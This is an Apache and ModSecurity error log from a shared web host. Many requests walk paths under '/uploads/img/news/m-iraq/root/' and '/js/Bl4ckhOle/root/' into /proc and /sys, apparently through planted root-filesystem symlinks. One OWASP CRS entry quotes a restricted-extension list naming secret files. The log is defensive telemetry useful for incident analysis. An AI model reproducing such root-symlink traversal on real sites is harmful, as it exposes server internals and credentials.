[Fri Jul 17 09:21:39.637983 2026] [core:error] [pid 2013797:tid 2013797] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/sys/kernel/slab/TCP/red_zone
[Fri Jul 17 09:21:40.560877 2026] [core:error] [pid 2018757:tid 2018757] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty41/subsystem/ttyS2/closing_wait
[Fri Jul 17 09:21:40.684466 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:21:40.763489 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:21:41.571218 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:21:41.795537 2026] [ssl:error] [pid 2013829:tid 2013829] (70014)End of file found: [client 66.85.158.91:35624] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:21:42.286508 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:21:42.799098 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:21:42.901797 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:21:43.103942 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:21:43.204970 2026] [core:error] [pid 1993572:tid 1993572] (1)Operation not permitted: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/net/anycast6
[Fri Jul 17 09:21:43.306235 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:21:43.435003 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:21:43.537177 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:21:43.637916 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:21:43.855899 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:21:43.860150 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:21:43.941889 2026] [core:error] [pid 2018741:tid 2018741] (1)Operation not permitted: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/net/icmp6
[Fri Jul 17 09:21:44.057534 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:21:44.274596 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:21:44.463687 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:21:44.549459 2026] [core:error] [pid 2032156:tid 2032156] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty50/subsystem/ttyS2/device/driver/unbind
[Fri Jul 17 09:21:44.758095 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:21:44.858154 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:21:44.966924 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:21:45.387331 2026] [core:error] [pid 1993619:tid 1993619] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/116:3/device/subsystem/card0/device/rescan
[Fri Jul 17 09:21:45.491843 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:21:45.690450 2026] [core:error] [pid 2028246:tid 2028246] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/kernel/slab/x86_lbr/partial
[Fri Jul 17 09:21:45.791959 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:21:46.004488 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:21:46.105738 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:21:46.206117 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:21:46.207183 2026] [security2:error] [pid 1993572:tid 1993572] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almm0ol9vhFBGA6D8l9-1AAAAAw"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 09:21:46.207218 2026] [security2:error] [pid 1993572:tid 1993572] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almm0ol9vhFBGA6D8l9-1AAAAAw"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 09:21:46.306832 2026] [core:error] [pid 2030774:tid 2030774] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty23/subsystem/ttyS2/uartclk
[Fri Jul 17 09:21:46.414148 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:21:46.513990 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:21:46.724605 2026] [core:error] [pid 2029579:tid 2029579] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty3/subsystem/ttyS2/uartclk
[Fri Jul 17 09:21:46.825846 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:21:46.928518 2026] [core:error] [pid 2019501:tid 2019501] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/ttyS3/subsystem/ttyS0/closing_wait
[Fri Jul 17 09:21:47.028717 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:21:47.230916 2026] [core:error] [pid 2018757:tid 2018757] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/ttyS0/subsystem/ttyS3/closing_wait
[Fri Jul 17 09:21:47.340867 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:21:47.433434 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:21:47.535109 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:21:47.635360 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:21:47.838615 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:21:47.939681 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:21:48.040603 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:21:48.242663 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:21:48.557202 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:21:48.865230 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:21:49.227813 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:21:49.377453 2026] [security2:error] [pid 2018757:tid 2018757] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/self/cwd/usr/share/bash-completion/completions/ci"] [unique_id "almm1UkXT4NBqALj2laBmAAAABA"]
[Fri Jul 17 09:21:49.377485 2026] [security2:error] [pid 2018757:tid 2018757] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/self/cwd/usr/share/bash-completion/completions/ci"] [unique_id "almm1UkXT4NBqALj2laBmAAAABA"]
[Fri Jul 17 09:21:49.478249 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:21:49.674730 2026] [security2:error] [pid 2036488:tid 2036488] [client 57.141.18.53:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory14/node0/memory121/node0/memory4/node0/memory119/"] [unique_id "almm1bEKozcCJ-ReuK0HkwAAAAg"]
[Fri Jul 17 09:21:49.674766 2026] [security2:error] [pid 2036488:tid 2036488] [client 57.141.18.53:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory14/node0/memory121/node0/memory4/node0/memory119/"] [unique_id "almm1bEKozcCJ-ReuK0HkwAAAAg"]
[Fri Jul 17 09:21:49.679268 2026] [core:error] [pid 1993619:tid 1993619] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/226:0/device/subsystem/drivers/cirrus/unbind
[Fri Jul 17 09:21:49.784728 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:21:49.885382 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:21:50.363750 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:21:50.484284 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:21:50.644914 2026] [core:error] [pid 2032156:tid 2032156] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/sys/kernel/slab/kmalloc-rcl-16/min_partial
[Fri Jul 17 09:21:51.988912 2026] [security2:error] [pid 1993619:tid 1993619] [client 187.235.209.144:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".com"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php/history/www.sample.com"] [unique_id "almm141dLClkUfK_dfHpdAAAAAI"]
[Fri Jul 17 09:21:51.989291 2026] [security2:error] [pid 1993619:tid 1993619] [client 187.235.209.144:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php/history/www.sample.com"] [unique_id "almm141dLClkUfK_dfHpdAAAAAI"]
[Fri Jul 17 09:21:52.032293 2026] [security2:error] [pid 1993619:tid 1993619] [client 187.235.209.144:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php/history/www.sample.com"] [unique_id "almm141dLClkUfK_dfHpdAAAAAI"]
[Fri Jul 17 09:21:53.394812 2026] [ssl:error] [pid 2032156:tid 2032156] (70014)End of file found: [client 66.85.158.91:33168] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:21:55.031535 2026] [ssl:error] [pid 2031172:tid 2031172] (70014)End of file found: [client 66.85.158.91:33200] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:21:55.139759 2026] [security2:error] [pid 2013797:tid 2013797] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almm21h1WDijTxd1xw5RAwAAAAc"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:21:55.139794 2026] [security2:error] [pid 2013797:tid 2013797] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almm21h1WDijTxd1xw5RAwAAAAc"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:21:55.566962 2026] [security2:error] [pid 2030955:tid 2030955] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almm2_wooI4qY7Jg93paFAAAABM"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 09:21:55.567000 2026] [security2:error] [pid 2030955:tid 2030955] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almm2_wooI4qY7Jg93paFAAAABM"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 09:21:55.929793 2026] [ssl:error] [pid 2018757:tid 2018757] (70014)End of file found: [client 66.85.158.91:33274] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:21:56.483608 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:21:56.597027 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:21:56.614404 2026] [ssl:error] [pid 2039911:tid 2039911] (70014)End of file found: [client 66.85.158.91:33338] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:21:56.884075 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:21:56.986473 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:21:57.297751 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:21:57.407989 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:21:57.515846 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:21:57.824072 2026] [core:error] [pid 2034024:tid 2034024] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup10/device/physical_node/driver/uevent
[Fri Jul 17 09:21:58.027296 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:21:58.130121 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:21:58.534934 2026] [core:error] [pid 1993671:tid 1993671] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:0d/subsystem/drivers/button/unbind
[Fri Jul 17 09:21:59.364799 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:21:59.486791 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:21:59.782937 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:21:59.845876 2026] [ssl:error] [pid 2036488:tid 2036488] (70014)End of file found: [client 66.85.158.91:33508] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:21:59.885222 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:00.189728 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:00.707814 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:00.787728 2026] [core:error] [pid 2029579:tid 2029579] (13)Permission denied: [client 47.82.50.28:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/physical_node/0000:00:01.2/rescan
[Fri Jul 17 09:22:00.993089 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:01.053838 2026] [ssl:error] [pid 2013829:tid 2013829] (70014)End of file found: [client 66.85.158.91:33564] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:22:01.117909 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:01.235727 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:01.327079 2026] [core:error] [pid 2031172:tid 2031172] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:12/eject
[Fri Jul 17 09:22:01.433669 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:01.573141 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:01.635168 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:01.736926 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:01.945426 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:02.672445 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:02.704154 2026] [ssl:error] [pid 2031172:tid 2031172] (70014)End of file found: [client 66.85.158.91:38150] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:22:02.768247 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:02.969528 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:03.171713 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:03.649663 2026] [security2:error] [pid 2030955:tid 2030955] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almm4_wooI4qY7Jg93paGwAAABM"], referer: http://anandaobauae.org/?C=M;O=Duploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:22:03.649694 2026] [security2:error] [pid 2030955:tid 2030955] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almm4_wooI4qY7Jg93paGwAAABM"], referer: http://anandaobauae.org/?C=M;O=Duploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:22:04.212976 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:04.492267 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:04.695280 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:04.901238 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:38242] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:22:05.005351 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:05.218375 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:05.319991 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:05.420211 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:05.521272 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:22:05.724080 2026] [core:error] [pid 2018757:tid 2018757] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty1/subsystem/ttyS3/flags
[Fri Jul 17 09:22:05.945007 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
